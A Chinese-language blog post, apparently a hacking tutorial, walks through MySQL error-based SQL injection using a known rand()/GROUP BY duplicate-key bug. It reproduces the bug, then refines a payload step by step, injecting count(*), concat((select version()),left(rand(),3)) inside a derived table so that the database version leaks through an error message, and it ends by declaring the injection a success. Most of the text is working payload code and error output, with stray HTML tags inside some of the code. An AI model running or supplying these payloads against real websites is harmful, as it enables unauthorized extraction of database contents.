网站MYSQL数据库高级爆错注入原分析

这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652
    grouping on certain parts of the result from rand, causes a duplicate key error.
    重现过程:
    SQL Code
    
  1. use mysql;   
  2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
  3. select left(rand(),3),a from r1 group by 1;   
  4. select left(rand(),3),a, count(*) from r1 group by 1;   
  5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

    于是便可以这样拿来爆错注入了。
    复制代码
    代码如下:
     select count(*),concat((select version()),left(rand(),3))x from inform<span>ation_schema.tables group by x;</span>
    尝试拿来实战
    复制代码
    代码如下:
     select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
    提示错误 选择的列应该为一个。那么。我们换一下
    复制代码
    代码如下:
     select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span></span>
    复制代码
    代码如下:
     1248 (42000): Every derived table must have its own alias
    提示多表查询要有别名 那好办
    复制代码
    代码如下:
     select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
    或者
    复制代码
    代码如下:
     select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
    成功爆粗注入了.
    作者： 小残 绳命不息 |折腾不止
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